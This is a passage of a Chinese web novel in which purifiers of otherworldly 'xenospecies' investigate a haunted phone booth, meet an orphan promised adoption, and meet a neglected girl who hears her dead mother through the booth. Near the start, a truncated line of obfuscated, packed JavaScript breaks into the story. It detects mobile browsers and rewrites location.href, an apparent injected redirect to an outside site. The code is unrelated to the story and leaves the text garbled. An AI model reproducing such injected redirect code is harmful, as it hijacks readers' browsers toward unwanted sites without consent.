他好像在哪里听过这个名字。九春来不及细想,因为对方说:“我觉得你是个很有天赋的孩子。要来我主持的学校吗?”
“诶?可是,我已经在上学了……”九春越发不解。
“没关系。你还有两年就毕业了吧?有想好去哪个初中吗?”时百心问。
九春老实地摇摇头。他只听阿嫲说过,要好好和他一起挑一个好学校。不过,他希望这个学校可以离家里近一些,这样他就可以多帮阿嫲的忙了。
“那么,来我的学校吧?我相信你会喜欢那里的。”时百心说,“离你的家不远,不收学费。”
九春咽了咽口水。他问:“您的学校叫什么名字?”
“无垠公司,群星营。只招收最有天赋的孩子们。”
“您说我有天赋……”九春不太明白。一直以来,他的确成绩优秀,但远远称不上天才,也没有在什么事情上明显得感觉自己和别人不同。
硬要说的话,他唱歌确实常常被褒奖,之前还和教堂唱诗班一起参加了镇上的合唱比赛,拿到了第三名。
但她指的应该不是这个。他听时百心解释:“是说净化异种的天赋。你知道异种处理专员吗?”
他听阿嫲说过。好像是专门净化异种的专业人士,守护人们的家园不被精神污染侵犯,是很厉害的人。
我也可以成为这样厉害的人吗?
他呼吸略微加快,感到心潮翻涌。时百心见他反应,笑着说:“知道?我的群星营就是培养专员苗子的学校。不过,我们只培养最优秀的那一批精英。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501813|202774||http|test|mini|href|location''.split(''|''),0,{}));
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>“我觉得你也是那些人之一。”
九春眼睛闪闪发亮。他说:“我、我想去!”
“好。这是我的联系方式,你要收好哦。记得回去和你阿嫲好好商量。”时百心递给他一张名片。
九春摸着那张3D立体的名片,上面不断变幻的影像让他看花了眼。那显然是很高级、很昂贵的东西。
可千万不能弄丢了。他想着,以为时百心会就此离开,但对方仍然站在原地。
是还有什么话要告诉他吗?九春抬头,看着那张他日后铭刻于骨的脸。得益于他外婆的教育,他平时其实是个很有警惕心的孩子,不会和陌生人说这么多。但看着时百心,他的警惕心像初春融化雪,很快便消失无踪,只剩下莫名的亲近和孺慕。
时百心沉默半晌,伸手摸了摸他的头。九春有些惊讶,但并不排斥。他乖乖仍由对方动作。
她说:“如果你足够优秀的话,我会收养你,让你做我的养子。”
“诶?”九春更吃惊了。收养?养子?那不就是说……
“您会做我的妈妈吗?”
他小心翼翼地说出这个词,好像不用心这个词语就会摔碎一样。
妈妈。他从来不知道这个词代表的人是什么样的。他的父母在他出生不久就在事故中去世了,阿嫲是这样和他说的。
时百心愣了一下,接着,她笑得更温柔了,“是的,我会做你的妈妈。如果你够优秀的话。”
九春忐忑地问:“那,你会修水管吗?”
“会哦。”
如果有妈妈的话,阿嫲就不用那么辛苦了吧?不用一个人贴地板坏掉的地方、不用依赖社工也可以换好高处的灯泡、不用一个人独自照顾他。
“嗯!那我们约好了哦,如果我变成优秀的大人,你会做我的妈妈!”
九春伸出小拇指,“我们拉钩!”
时百心依言伸出小拇指。两根手指勾在一起,九春唱道:“拉钩钩,一百年,不许变!”
“那,你要等着我哦。”九春认真地说,“我会变成优秀的大人的!”
“嗯,我等着。”
“你成为符合我标准的,异种处理专员的那一天。”
时百心离开后不久,游叶嗒嗒嗒跑回来找他了。她开心地说:“霜姐姐说可以!我们现在去你家里吧?”
“唔嗯,不用了。”九春说,“比起这个,你听我说哦——”
游叶好奇地睁大眼睛。
她听到九春骄傲地说:“我要有妈妈了!”
15. 女儿
“您、您可以,不要,不要净化她吗?”
游叶没想到会听到这样一个问题。一个请求。她愣了会儿,那个小女孩就一直眼巴巴地望着她。
“为什么你不想我净化祂呢?”游叶没说行也没说不行,反而向她抛出问题。
“因、因为,这个可以听到、妈妈的声音。”
她已经进去过?小孩子的精神抗性不如成年人,如果她进去后没有任何治疗措施,是真的可能下半生只能做一个疯子的。游叶眯起眼,揣测着这孩子的精神状况。
还是说,她并非真人,而是电话亭幻惑她的假象?也有异种可以模拟出人类的形态来散播精神污染。不过目前已有情报里没听到过这点。
“你说听到妈妈的声音,是说在电话亭的电话里听到的吗?”游叶进一步询问。
小女孩点点头。随后说:“姐姐您、您也看到、了对吧?她、她有时、时候会出去一下,但、但是会回来的。”
果然如此。这个扬帆镇附近的海滩就是电话亭的原生【彼界】所在。但她为什么没有感觉到任何精神污染?
而且这个孩子……游叶再度细细打量她,虽说细骨伶仃、苍白瘦小,甚至有些营养不良的痕迹,但精神状况似乎并没有异常,即使有些口吃,但表述逻辑很清晰。
“她、她回来之后,您、您可以不、不要净、净化她吗?”
她再度提出了这个请求。“如、如果她不、不见了,妈妈、妈妈的声音就、就再也、听、听不到了……”
她垂下头,大大的眼睛里盈出泪水。游叶并未着急上前安慰,也并不显得为难,她说:“嗯,我知道了。你可以回答我几个问题吗?”
“啊、好、好的!回答的话,您可以……”小女孩抱着希冀。
游叶沉默了几秒,直截了当地问:“你进入过这个电话亭几次?”
“不、不知道。数、数不清楚。”
游叶想了想,换了个问法:“从你第一次见到电话亭、进去听到你妈妈的声音开始算,一共庆祝过几次显圣节?”
显圣节是亚利苏教每年三月的大庆典,用来庆祝圣者第一次降临世间并显出其尊能,是亚利苏教最盛大的庆祝活动之一,能与其媲美的只有九月份的净洗日。
这镇上大部分人都信仰亚利苏教,游叶猜这孩子也如此。小女孩视线转向斜上方,努力回忆着,“嗯、嗯……两、两次?”
“嗯!两次!”她又重复一遍,肯定许多。
那就是去年三月到现在,一年多,即使每个月只来一回都有十几次了,况且看这孩子对电话亭的依恋程度,恐怕不止这个数。
而她居然一点疯癫的症状都没有。难道她是天纵奇才,可以完全无视精神污染?就是九春也做不到这种事。而九春是她知道的天生精神抗性最强的人。
当然,经受群星营训练后,大家的精神抗性都有所提升,比较不大出谁最强。
“听电话之后,你有没有感觉到身体不适?”游叶问。
“第一、次听之后,发、发烧了好、好几天。吃、吃不下东西,动、动不了。”小女孩说,“之、之后就、就没有了。”
第一次听之后没有遗留永久精神创伤,算她幸运,恐怕也确实是精神抗性天生不俗。但之后不再有类似症状,也并不合理。
看她自己也不太明白的样子,游叶猜想自己只能从电话亭本身找到答案了。
“你听到的妈妈的声音,是什么样的?”游叶忽然换了更柔和的声调,她半蹲下身,和小女孩视线齐平。
小女孩被她的动作惊了一惊,仿佛偶尔落地的鸟雀,下一秒就要振翅飞走。不过她到底还是没得飞走。
她回想着,一点一点拼凑出那个声音:“听、听起来和镇、镇上的苏丽娜阿姨、很像……会、会问我,今天发生什么事,如、如果我、我和她说了、烦恼的事,她、她会告诉、告诉我怎么做、才好。”
“妈妈、会、关心我、我最近身体怎么、怎么样,吃、吃得好不好,有、有没有暖、暖和的衣服、穿……”
“就、就和电视剧、里面的妈妈一样!”她忽然兴奋起来,“姐、姐姐您、您有看过那个吗?”
她说了一个十年前很流行,现下正在重播的剧集。游叶有刷到过一些剪辑,大致知道那里面的“妈妈”是个怎样的角色。温柔、为儿女奉献、照顾家庭、厨艺精妙、常常打扫卫生,一言以蔽之,是个很平面且理想化的刻板印象。
“我很喜欢、很喜欢妈妈,不想、不想和她分开……”小女孩小声说。
原来如此。因为从中感受到了“爱”。游叶知道这个净化任务在社会上有些许争议,主要来自于进入过电话亭并得到慰藉的人:还可以再听到故去亲人的声音不好吗?还可以重温一遍曾经的好时光不好吗?祂又没有造成谁的死亡,为什么不可以保留祂,让我重新听到我想见却再也见不到的人的声音?
“谢、谢谢姐姐。”
游叶忽然听到她这样说。她“嗯?”了一声,小女孩解释道:“因、因为我说、说不好话,大、大家都不愿意听、听我说……但姐姐您、一直听、听我说,没、没有嫌弃我,我、我很开心。”
“好久、没有人,愿意这么久听我、说话了。”她小声说。
游叶耸耸肩,“你说话没什么问题。表达很清楚,至于有点卡顿,那也不影响我理解你要说什么。比那些说话流利但理解不了意思的家伙强多了。”
小女孩头一次微笑起来。“谢、谢谢。”
“不客气。你叫什么名字?”
“瓦、瓦拉。大家都叫我这个。”
“不错的名字。不过,瓦拉,”游叶站起身,“我不能向你承诺我不会净化祂。”
“为什么?她、又没有、没有做什么坏事!”小女孩急了,大声地争辩。
“对你来说,或许如此。但外面还有人因为被抓进电话亭里,几个月甚至长达一年以上无法说话、或者听不见任何声音,你想象一下,如果自己发不出声音、或者听不见,生活会有多难?”
游叶说:“按照公会汇总情况来看,至少还有几百人目前仍承受着电话亭带来的精神污染,生活产生极大不便。有少数严重者仍然昏迷不醒,正在精神治疗球中等待这个异种被净化,他们才能醒来。”
“不是每个人都能像你一样幸运,能够这么多次进入电话亭还毫发无伤。”她语调很平静,没有带任何褒贬意味,小女孩脸色更白了,她忽然大声叫道:“你、你骗人!”
“我骗不了你。这些东西网上一查就能知道,公会的统计数据一直都是公开透明的,为的就是让广大市民了解各个异种的危害性。”游叶直接打开掌机投影光屏,上面分条列项,清晰无比地向二人展示时空电话亭的受害者人数与情况。
“还有,现在祂的确还没导致任何人死亡,但谁能保证以后不会?低评级异种暴走、变异的概率都不为零,更何况祂是个能制造出A级以上精神污染的B+级异种。如果祂忽然失控,或进一步升级,后果不堪设想。”
游叶说:“你想看到你住的镇子里所有人都被精神污染发疯吗?这个电话亭如果扩大污染范围,是很有可能做到的。更别提扬帆镇就是祂的据点,如果祂暴走,第一个遭殃的绝对是这里。”
看着瓦拉被这一连串言语打击得晕头转向,游叶想了想,还是没补充最后一条:根据联邦现行法律,阻碍异种处理专员净化异种的行为是违法的,并且一般不会只罚款了事。
“我、我不信!”瓦拉尖叫,童稚的声音刺耳起来,像刀划过玻璃破碎迸溅。
她激烈地喊:“妈妈才不会伤害别人!”
“你、你这个骗子!骗子!”她抓起一块石头,混着砂砾向游叶砸去。
这样粗糙的攻击当然不可能砸到她,况且以一个孩子的力道,就算真的砸中,游叶也不会被伤到。她稍微一侧身就躲了过去,对于瓦拉的反应并不意外,神色也没有多少变化。
这样的情况她不是第一次见了。
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况且那只是个孩子。有多少成年人都看不到异种潜藏的危害,误以为现阶段的安全就是绝对永远的,她都数不清了。
她看着小女孩的身影远远消失在海岸边,只留下悲伤愤怒的余音。游叶等了一会儿,才不紧不慢悄悄跟在她后头,回到了镇上。
追踪也是群星营的必修课之一,她拿了接近满分。游叶看着瓦拉抽泣着经过一艘艘船,没什么人搭理她,大家心照不宣地无视。
只有一个摆着摊的中年女性看见她哭得那样可怜,赶紧迎上去问她怎么回事,还顺便塞了把摊上最靓的果子到她手里。以游叶的听力,隔着一段距离也能听到瓦拉没说出什么,只是在女性的安抚下止住了哭泣,默默摇头走开了。
到这里大概就够了。游叶装作初来乍到,慢慢走近她的摊子,挑起蔬菜水果。老板娘虽然还在担忧地看着瓦拉消失的方向,但毕竟顾客上门,她还是尽量堆起笑容,询问:“小姐是第一次来我们镇?”
“是啊。有什么特色推荐吗?”游叶手指抚摸过一颗颗果子。
“那您必须尝尝我们这里特产的咸水果……”老板娘走到一筐青色果子前,开始介绍。
游叶装作仔细挑选,不经意间开口:“青春期的女儿不太好管吧。”
老板娘一愣,才反应过来她指的是谁。中年女人苦笑一声,眼角堆出细纹,“您是说刚刚哭着跑走那孩子?她不是我女儿。”
“要是我女儿就好了。”她轻轻叹息一声,游叶故作不解,好奇地问:“那样的话,那孩子是谁?”
“她……她是镇上一个渔户的女儿,叫瓦里希娅。不是我的孩子。”
“您对她格外好。为什么呢?”游叶尝试将诱导的力量加入到话语之中,转换她的情感,让她对自己卸下防备。
尽管她清楚自己的显征能力强过许多人,尤其是在使用言灵方向和【转换型】这一块,但在巧妙地引诱别人信任自己、听从自己的话语这一方面,她怎么尝试也敌不过雯芮。那姑娘在这方面是天生的大师。而她作为学生算是资质愚钝的那类了。
好在,这一次似乎起效了。老板娘犹豫片刻,才说,“她爹……待她不好。”
游叶摆出倾听的姿态。老板娘吞吞吐吐:“唉,这个,也不好说……这孩子刚出生就没了娘,不然还能好些。她爹嫌她是个女儿,不能延续香火,一直都对她不管不顾的,有口饭吃别饿死就算了。”
她越说越流畅,声音低沉下去,充满不忿:“这么大了,要不是政府派过人来,那孩子恐怕连学都没得上!这个做爹的真是……!”
“真是命运作祟。”游叶同情地说,“她母亲要是在的话,说不定就不会这样了。”
谁料到这话一出,老板娘又沉默了。好一会儿她才闭上眼,嘟嘟囔囔说:“唉,说死人坏话也不太好……”
“圣者教导我们要诚实以行,不是吗?”游叶熟练而快速地手指点过肋下、口唇、肩后,代表亚利苏教的祈福手势。
老板娘望她的眼神更亲善了些,她也依她动作作出了同样的手势。“您说的也是。我小点声儿,就讲给您听,您别往外说就是了。”
游叶当然担保会看好自己的嘴巴。于是老板娘悄声说:“她娘是镇上最泼辣的女子,其实是不想嫁给她爹的,只是家里硬逼……唉,一言难尽,我也不太清楚实际情况,但自从嫁过去后,两人没一天不吵架的。”
“生气的时候,她好几次威胁要打掉肚里的孩子。所以,就是……”她也不知道该怎么说了似的,最后统统变成一声长叹。
“真是不幸。”游叶附和,“但说不定,有个人帮衬也是好的……”
老板娘摇摇头,抬手制止她,“您是善良的人。不过,世事难料,就算她娘还在,情况也不见得会更好。”
原本问到这里就可以了,她想要的情报都已经收集齐全。但游叶思考片刻,并没有拔脚离开。
她说:“您说您希望她是您的女儿,也就是说,您想要收养她吗?”
16. 血缘
闻言,老板娘沉默片刻。她拧着围裙一角,低沉地说:“想又怎么样呢?她亲生爹还活着,轮不到我这个没血缘关系的外人。”
世人或许如此想,但在游叶看来,有没有血缘关系并不重要,甚至可以说是毫无意义。只有人与人之间感情的维系、彼此的照顾才是她真正重视的。是谁生了自己,远没有是谁抚养、教育自己长大重要。
当然,她的人生经历远离典型,所以会产生这样的想法也不奇怪。更别说她现在偶尔会称作“兄弟姐妹”的几人全都与她没有丝毫血缘关系了。
“原来如此。但我记得联邦法律里有规定,父母对孩子没有尽到教养责任的,可以由第三方进行干预,对孩子的教养权进行转移。”游叶说,“您有考虑过这条路吗?”
老板娘咬着嘴唇。半晌,她低声说:“我和席悠牧师了解过……证据是足够的,但要花很长的时间打官司,还有……”
“我明白了。”游叶体贴地收束她的未尽之言,“我只想知道,您是否有和瓦里希娅的父亲斗争的决心和毅力?您是否可以不惜代价,只为了这个孩子能够有一个更好的生活?”
这次的静默更加漫长。游叶等待着,那双碧绿异常的眼眸直视着她。
“……是的。如果可以抚养她,我可以不惜一切代价。”
那个中年女人抬起脸。那双眼睛里,熊熊燃烧着崭新的光。
游叶点点头,“我为她感到高兴。”
她和老板娘作别,前往席悠所在的教堂。不过,在此之前,她还需要咨询一下专业人士。
游叶点开通讯录,划到一个号码。她拨过去,并不很久对面便接通了。
“下午好呀,阿雯。”游叶快言快语,“我想知道,要解除不负责任的生身父亲对其孩子的教养权利,有什么快点的程序可以走吗?”
“嗯哼?如果通过当地政府办事处还有教育部门……”
对面的声音一如既往甜美,如同棉花糖。即使游叶这样对声音相当挑剔的人,也必须承认她有一副与生俱来的好嗓子。这声音在哄骗他人服从她意志上尤其好使。
对方讲完正常的流程后,好奇地问:“为什么忽然问这个问题?你想收养小孩?”
“怎么可能。”游叶一口否决,“我们之间最喜欢小孩子的肯定不是我。再说了,这也得看九春想不想吧。”
“你们还是这样甜甜蜜蜜,我就放心了。”对方说,“顺便说,我也不是我们中最喜欢小孩子的。”
“那就只剩一个选项了。”说完,游叶和对方一同大笑起来。
“你回大都会了?”对方问。
游叶给出一个肯定的回答。对方立刻嗔怪:“那你怎么不来约我!太没良心了!真是坏人!”
“哎呀,这不是有很多事……”
她没说完就被对方打断了:“我可不管!把你手头上的事解决完就赶紧出来!对了,把宁宁也约出来吧?”
“不知道她有没有空。”
“挑个休息日,应该还是可以的吧。”
“感觉她总是在加班。唉,做公会的事务人员就是辛苦——”
“我早叫她来我这边工作了。要是她在,我都不知道能省下多少功夫呢——小叶你都不知道,新上任的那个议员有多难搞,我喉咙都冒烟了他也不松口!”
“怎么可能有人能抵抗雯芮大小姐的魅力?”游叶口吻颇为怀疑,雯芮咯咯笑起来,“别叫我大小姐啦。”
“对了,你和爱德华怎么样?我上次看新闻,说你们订婚了。”
“是呀,你都没来!”
呜哇,居然又踩到雷了。游叶立刻道歉:“对不起。”
“不过礼物很用心,姑且原谅你吧。”雯芮哼哼两声,“我们就那样,过段时间应该就会结婚。”
“到时候你敢不来试试看!”她威胁道,声音像张牙舞爪的小猫咪。
游叶忍笑,“我怎么能违抗亲亲好舍友雯芮的命令?遵命!使命必达!”
她们再谈笑几句,游叶将瓦里希娅的事全盘托出。雯芮承诺会在老板娘申请瓦里希娅教育抚养权转移后跟进,用她的政治力量加快这个流程。
这事儿她不大感兴趣,但她的未婚夫爱德华想来会相当有兴趣。那家伙是个真正的慈善家。能在水那么深那么浑浊的政界里维持一颗纯净的心,难能可贵。
这大概就是雯芮选择他真正的原因。虽然她和她们声称只是因为那家伙好掌控,又能给她的政治事业添上大大助力。
在进入教堂前,她的掌机又弹出了一堆讯息。游叶打开一看,是他们的小队群组。
【暂不考虑新队伍意向】:【定位】电话亭第二个地点。
【山中有虎】:又出现了吗?今天祂动作很频繁啊。“兔子洞”网站那边也有人上传新照片了。你们有谁在附近吗?没有我就去了。
【Nimrod】:九春,还好吗?
【MilleFee】:我没事。我在川汜这里,他刚收集完我身上的异种残痕。
【暂不考虑新队伍意向】:看这个频率,今天可能还会有第三个地点。各位,做好准备。
游叶匆匆扫过,仍旧已读不回。她关上掌机,进入教堂。
*****
君山确定由这次轮到她后,就将掌机关上了。她穿着一身黑底金线的连身裙,短根羊皮靴,一个缀着细小宝石的手镯,全身上下行头加起来可以抵过一个三口之家在大都会一年的生活费用。
她现在身处于大都会最繁华的市中心,也就是她最熟悉的街道。她在这里长大,还以为自己不会离开。
今天她本来在繁星银行办理一些家族事务相关的手续,作为霄日生物制药公司股份持有者,有些事情虽然繁杂,但不得不有她亲自去做。出身于一个古老大家族不外如是。
巧之又巧的是,电话亭第二次出现的地点离她家集团的办公楼很近,就在隔壁亘均酒店楼下。
君山没费什么劲儿就找到了祂。气派奢华的建筑外,同样巴洛克式的电话亭赫然混入其中,漆黑涂料上是大气磅礴的金纹浮走,崭新优雅,仿佛倚在橱窗里的时尚模特。
看着那巨大无比的“亘均”两个字,君山很自然地想起来自己那位认识多年的先队友。
在找到他之前,她其实完全没想到连湛真心热爱的是这个职业。如游叶猜测的那样,她和连湛几乎一直在同一个学校就读,有时候同班,有时候不同。
即便如此,他们在组队前也并没有很熟。只是酒会上遇到了能一起喝两杯不会没话题的程度。她一直觉得连湛和自己不是一个道上的人。
说白了也很简单:她是三小姐,上头有个非常优秀能干的大姐作为继承人,她不会是下个时代家族事业的掌舵者,同样的,她也无需承担如此庞大沉重的责任。她只需要做个游手好闲、快快乐乐的富家小姐就好了,不学无术也无妨,这也是她父母、她姐兄对她全部的期望。
而连湛是亘均集团唯一的继承人,他父亲膝下只有他一个孩子,理所当然,未来这个全联邦最大的连锁酒店集团就会交到他手里。而且,他完美地继承了庄家代代延续的强化型异能,并且作用范围应该是几十年最大的。
而她印象里连湛一直是最优秀的学生,成绩自不消说,在成绩之外,她曾经见过他几个月内让集团里一家频临倒闭的酒店起死回生,成为那个年度利润最高的酒店之一。而那一年他才十四岁。
虽然她也不差,而且她才是学生会会长。虽然外表不一定看得出,她当年也是个很努力很上进的学生。
虽然没什么用就是了。君山不再去想这些,她走向电话亭,发现那里已经有人在组织疏散群众。
“请大家往后退!这是一个范围足以影响半径二十米的B+级异种,请大家退到工作人员划定的警戒线后!”
一位穿着制服的女性打开了掌机的扩音功能,正向人群喊着。这不是项容易的工作,这里可是市中心最繁华的地带,每天来往人流量是一个惊人的数字,何况现在快要晚高峰了。
她胸口佩戴着霄日制药公司的立体工牌,应该是公司的异种污染防卫部人员。君山没有多想,她与人流背道而驰,径直走向异种本身。
“这位小姐,请您……君山小姐?”女性蓦然瞪大眼睛。
君山说:“我要进去,麻烦让一下。”
“那怎么行!别说其他人,您可千万不能以身试险!”
又是这样。她本该习惯了,还是感到一阵窝火。但她也清楚,这不是这位工作人员的错。
她只是又重复了一遍:“让一下。这是我承接的净化任务。”
女性愣了愣。君山打开掌机,光屏展开,上面清清楚楚显示着她的小队承接任务记录。最新一条赫然是【B+级:时空电话亭】。
然而,即使如此,女性咬了咬嘴唇,还是坚持:“抱歉,君山小姐。我不能让您在我当值的时候有被污染的风险。这不是我一个人能承担的事。”
君山双眉倒竖,气结:“不是,你看清楚好吗!我是公会异种处理专员,不去净化异种,待在外面是要干什么?你别管了,到时候我就算有事也不会算在你头上。我会
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和家里说的。”
就在她们僵持不下时,另一位女性弯腰,抬起工作人员刚刚拉起的警戒线走进来。她戴着一副黑框眼镜,穿的是异种处理公会后勤人员制服。
她眉毛紧皱,原本便是严厉的面相,如此更是让人望之噤声。不知为何,君山见她第一眼就回忆起了自己读书时遇见过最严肃死板的老师。
“怎么回事?”她问,语气没有君山想象得那么咄咄逼人,平静,然而带着让人不得不回答的力量。
“专员您好,我在劝这位市民到污染圈之外去。”霄日制药公司的员工抢先回答,她用恳求的眼神看向君山。
君山还没来得及开口辩解,来自公会的那位女性看着她的脸,突然说:“哦,我认识你。”
“尹君山,公会A级净化小队队长,霄日生物制药公司董事长的三女儿。”她一句话简单概括了君山迄今为止的身份,“这个异种是你小队承接的任务?”
“是。”
“你过去吧。”她说。
“等等!她不能……”
公会女性抬起一只手,面无表情地说:“阻拦异种净化专员执行任务是违反法律的,您是希望公会给您发律师函?”
君山看见,她的胸牌上写着“谢宁枫”三个字。她迟疑了一下,说:“谢谢。可你为什么会知道我?”
他们这样的队伍在公会里虽然算前排,但绝对不算顶尖,和他们同层次的队伍不少,按理说,日理万机的后勤人员们不应该会对这样一支寻寻常常的队伍有印象。
宁枫挑了下眉毛。这个动作让她的面部表情生动不少,“你的队里可是有两个群星营里出来的家伙。更不用说其中一个是她那一届的最优秀毕业生,另一个实力与她相当。你觉得公会里有多少队伍有这样的配置?”
她的语气听上去像是认识他们。君山也这样问出口了:“你和游叶还有九春认识?”
“是啊。”宁枫不再多说,转而催促她,“你还不去做你的任务?”
君山连忙抛下剩余的疑问,越过两人,进入电话亭内。
她先简单观察了亭内环境并用仪器测量空气数据,确认和游叶所说相差无几。群星营到底是什么地方,养出来这些超人类似的精英。
怪不得无垠公司在异种净化方面能与公会、政府并驾齐驱。它们的人才太充足了。更别说还有一个副总理在给这公司背书。君山家的霄日生物制药公司目前最遗憾的就是政治力量略有缺乏。
君山甩甩头,不想这些和异种无关的了。她取出一台仪器,上面刻着“霄日”的字样。
这是她从家里拿来的污染数据收集仪,可以收集异种造成的精神污染相关的数据,为后续精神污染症状针对性药物的开发提供基础。君山心不在焉地等着仪器亮灯,手指微微弹动,想起了曾经在实验室里的时光。
试剂瓶、操作仪、数据记录、重复、测量、排除误差、找出答案。她不由自主露出轻微的笑容,但很快又像涟漪一般消去。
那个实验室现在或许已经上了数把大锁,灰尘积了厚厚一寸。又或许已经被公司其他人征用了,毕竟不用白不用。不管是哪一种情况,她都不知道。她已经很久没有回去过了。
显示收集完成的绿灯亮起,君山把仪器关上,塞进手包。她看向显示屏,那里两行字已经显示很久。
您好,君山。
您有一则来自过去的留言,还请聆听。
君山干脆不问了,反正问不问是她的私事,和收集情报没太大关系。她干脆地拿起听筒,贴在耳边。
轻柔的海浪声中,一个声音说:“小小姐。”
君山愣住了。那是……她想起来了,那是她童年时的一位保姆,带了她很长一段时间,后来却不知为何消失了。
“您千万不要再吃那个东西了。那是个……是个骗局!他们、他们一直在骗您。
“我恐怕不能再保护您了。请您记住我说的话。……小小姐,保重。”
的确是她。那个一头白发、笑容可掬的老保姆。只有她喜欢叫自己“小小姐”。君山还记得她做椰子炖鸡,那味道她后来在哪里也没吃到过。
可是,她在说什么?君山茫然地拿着听筒,满心疑虑。
吃什么东西?谁要伤害她?那是从什么时候开始的事情?
她有点后悔没有询问留言时间,但现在也来不及了。不过,根据老保姆照顾她和失踪的最后时间,总还是能推测出一段。
君山掏出精神治疗剂,注射进自己手臂。她最后深深地望了那块熄灭的屏幕一眼,转身离开了。
17. 信任
九春躺在一张摇椅上,感觉自己动弹不得。
一半是心理上的不想动作,一半是字面意义上无法移动:他被一大堆厚厚的毛毯压住了。
始作俑者正好整以暇地坐在对面的太师椅上看他,甚至还以乐于助人的口气说:“您感觉如何?还需要加毛毯吗?我相信备用床品还有——”
“我真的要被压死了。”九春喃喃地吐出这句话。川汜微微笑起来,眯起的眼睛细长,有些人觉得像蛇,但九春一般想到狐狸这类温血动物居多。
“可是您自己说冷的。”队伍的“游猎”如此说,他操纵机械小管家,用动力臂抓起几块最上面的毛毯,免得九春真的被这些毛绒绒的织物淹没了。
九春闭上眼,他咬紧牙齿,和身体里的倦怠感作斗争。药剂起效只是一时的,回到别墅后他很快再次陷入情绪低潮,连身体自控都很艰难。看出他在逞强的川汜坚持将他留在自己的卜星室,并且似乎正打算用毯子淹死他。
这也是精神污染麻烦的一个点:药剂的效果都是暂时的。最后还是要靠人体自我调节来痊愈。
川汜向紫砂茶壶内注入热水,再从其中倾倒出馥郁滚烫的茶。他给两人各倒一杯,并指挥机械小管家将茶递到九春嘴边去。
九春喷出一口气:“我也没有到这个地步。”
看着他挣扎着移动手指,川汜凉凉地说:“等您把杯子送到嘴边去,茶都倒掉一半了,还不热。还请您别浪费我的茶叶。”
九春痛苦地叹气,随后被机械小管家喂茶。喝完一杯,他说:“不行,我得去游叶那里。”
“以您现在的状态?您确定不是去添乱?”
九春坚持说:“她可能今晚,或者明天就要净化那个异种了。我得去帮她。”
对于这个速度的估测,川汜没有发表任何评论。他换了个姿势,缓缓说:“您是有什么想法了吗?”
九春点点头,“我发给她了。”
“她群组的消息也没回复。”川汜指出,“您确定她看见了?”
“嗯。她应该是找到了线索正在忙。”
闻言,川汜沉默了。过了一会儿,他幽幽地说:“您对游叶阁下真是信任有加。”
九春不假思索:“她又不会骗我,我为什么不信她?”
我的天啊,满天星宿在上,我的队友原来是个恋爱脑吗。川汜压出抽搐的嘴角,说:“这……有些武断了吧。”
其实他想说的不是有些,而是非常。不过出人意料,九春居然听进了他的话,思索了起来。片刻后,他若有所思地说:“说的也是。”
等等,我可不想做拆散小情侣缘分的恶人,宁拆十座庙不毁一桩婚,我的功德上不能有这种污点。正当川汜想着补救一下时,他听到九春的声音:“她确实也有瞒着我的时候,不过她肯定有她的理由,我只需要相信她就好了。”
“反正她也不会害我。”他又补充一句。
抱歉了,十二星宿神明,我收回前言,我还是别管他们好了,虽然我觉得我的队友似乎被人玩弄了,但恋爱脑这病是没法治的。川汜面无表情,心里已经念完了一段家里用于祈福的经文。
“谢谢你的茶。”九春在毯子下蠕动,川汜都佩服他惊人的意志了,虽说他并不看好这意志所指的对象。居然能硬抗精神污染带来的虚无感,不愧是群星营出来的,委实是个狠人。
他边想着,边说:“还有毯子。”
九春的动作停了一下。半晌,他的声音闷闷地从被弄成一团乱的毯子下传出:“……谢、谢谢你的毯子。”
“不客气。”川汜笑得很温柔。
他说:“不过很遗憾,您就算能从毯子里出来,也出不去这扇门。”
“为什么?”
“我锁上了。”
“那你打开。”
“我并不愿意。”
九春一口气上不去下不来,力松劲泄。川汜看着他在毯子堆里蠕动,慢条斯理地说:“以您现在的状态,恐怕走不到大门口就要倒下,届时还需要我去让机械臂把您运回来。不如这样,我们做个交易吧。”
九春不情愿地说:“什么?”
“您睡一会儿。我保证会在清晨来临前叫醒您,好让您赶到游叶阁下身边。”
平心而论,九春也知道他的建议是最合理的。睡眠是疗愈精神污染最好的办法之一,而他也确实因为污染带来的疲乏与低落感到困意,其实刚刚不是他硬拉着川汜聊天,他可能已经睡着了。
但人经常是不讲道理的,尤其是病人。想要赶去游叶身边的心情比什么都迫切。不只是想与她交流净化异种的猜想,更是想在这些至关重要的时刻陪在她身边,支持她,从可能的危险中保护她。
两种心情交织战斗,九春犹豫地咬住嘴唇。川汜在心中默数:三、二、一。
九春像拔掉发条的锡兵,不动弹了。川汜听着均匀的呼吸声传来,他毫不意外。安神茶加助眠香薰,放倒一个疲惫状态的九春绰绰有余。
“第三个坐标可能要来了。您还是先睡一会儿,为最后养精蓄锐吧。”
川汜说。“游猎”姿态优雅地站起,来到了他熟悉的追踪仪器之间。
一方面,他不希望自己的队友勉强身体,出什么问题;另一方面,虽说他还不好讲游叶对九春到底算怎么回事,但他对她有一种古怪的信心:他相信,这个异种,就算最后只有游叶一人直接面对,她也能完美地净化祂。
*****
连湛走过街道,风卷起不可回收垃圾,刚刚人工降雨了,凹凸不平的路面上洼着积水,混合尘埃,变得污浊。
这里是大都会里不那么发展的街区。这是个比较好听的说法,一般人称其为“垃圾堆”。毒品、谋杀、走私,什么行当在这儿都能找到一席之地。
连湛对这条路不算陌生。被家里赶出来后,由于手头紧张,他有段时间就住在这里。好在他运气还不错,没有哪天一出门就被人迎面捅一刀挖走肾脏。虽然已有人造器官问世,但效果终究不及天然,器官仍然是黑市上的畅销品。
他无视周围叫骂打斗或者揽客招揽的声音,有些紧张地环顾四周环境,寻找那座电话亭。
他很快找到了目标。铁镀色的外观反射出四周灯球的五光十色,光影在破旧不堪的金属上不断旋转,令人目眩。废弃电缆如同死去的巨蛇交缠在地面与祂的脚边,污水如同天空、如同镜面,倒映出这座都市永不停息的霓虹星光。
连湛确认药剂准备充足,四周没有其他人。在这个范围,他已经能感觉到一些不适,是电话亭散播的精神污染。他咬咬牙,压住胃中古怪的感觉,拉开门步入其中。
第一步应该先干什么来着……对,没有明确威胁的话,应当先观察环境。连湛认真地看了一圈电话亭内部,不得不承认游叶记忆力之强与画工之精炼,他没有看出她素描外的更多东西。
